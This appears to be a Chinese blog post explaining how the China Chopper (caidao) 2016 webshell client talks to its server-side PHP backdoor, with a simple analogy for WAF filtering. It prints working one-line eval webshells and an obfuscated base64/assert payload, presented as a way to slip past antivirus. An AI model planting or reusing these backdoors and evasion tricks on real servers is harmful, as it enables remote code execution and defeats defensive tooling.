菜刀外部可见范围的运行机理

对菜刀2016版的分析

1、caidao.conf 文件中的 <PHP_BASE> 标签是执行 PHP 一句话的关键所在。
比如:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
而一句话所在服务器端(以后简称木马端)代码是:<?php @eval($_POST['caidao']);?>
//  那个 <PHP_BASE.加密示例> 标签只是个例子,不是在这改配置才能作用于菜刀,开始理解错了,我晕
2、在菜刀工作,例如浏览文件、打开文件并修改文件时,菜刀所执行的代码会 post 到 <PHP_BASE> 
这个标签中的 %s 这个字符串变量中(姑且这么说),然后 array_map(.......); (就是 <PHP_BASE> 这个标签的内容)全部被 post 到
服务器端的 caidao 变量中,服务器端网站接收 caidao 变量提交的代码,然后由 eval 命令执行 PHP 代码。
总之,菜刀程序是经过base64加密的,这个无法更改,所以在木马端需要base64解密;
eval 最终执行的命令是:可以处理的如:echo phpinfo;echo 111;等PHP代码,而不是什么什么加密后的字符串。

所以,需要在 <PHP_BASE> 标签中做过杀软的文章,

例如 菜刀加密示例中的:
菜刀端 conf 文件: <PHP_BASE> 标签内包括:
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
(实际内容是:eval(base64_decode($_POST[id])); )
木马端是:<?php @eval(base64_decode($_POST['caidao']));?>
过程:菜刀发出代码指令给 %s ,接着将菜刀端的这段 base64 编码
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D 解密成
eval(base64_decode($_POST[id]));
然后 再把 id变量中的字符串base64 解密,变成了PHP代码,传给服务器(如:echo phpinfo();)。

用户浏览数据通过 waf 的具体过程:(我是这样理解的)

可以这样打个比方:
用户是一所小卖铺的顾客,用户执行数据的操作,如发起get、post请求,waf 则是房子的墙和售卖员,
打开的端口就是小卖铺卖东西的窗口,首先,用户发起请求(我要买的冰淇淋),waf 通过分析数据决定数据是否执行
,是放行?还是拦截(售货员看他买什么东西,有就卖给他,没有就不卖),然后网站接收 get 、post 请求,执行对应的操作。

参考:链接:中国菜刀20160620初体验

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 173,746评论 25 709
  • 问答题47 /72 常见浏览器兼容性问题与解决方案? 参考答案 (1)浏览器兼容问题一:不同浏览器的标签默认的外补...
    _Yfling阅读 13,816评论 1 92
  • 半条命的猫 「文」水金时 寒风从窗户的缝隙里摸进来 它们并不能将我惊醒 将我惊醒的是一阵哀鸣 谁家的猫在雪地里过冬...
    水金时阅读 400评论 4 5
  • ① 午后的阳光 融化了焦糖 撷温暖入信 寄远方与你 ② 早晨的篱笆墙上开了一朵野玫瑰 ③ 我穿过傍晚山谷清亮的风 ...
    匪玉阅读 205评论 6 6
  • 每次离家,需要多大的勇气和多少正能量才能走出恋家的阴影。家里的温度好像特别特别的低,我总是感觉冷的探不了头伸不出手...
    白红阅读 124评论 0 0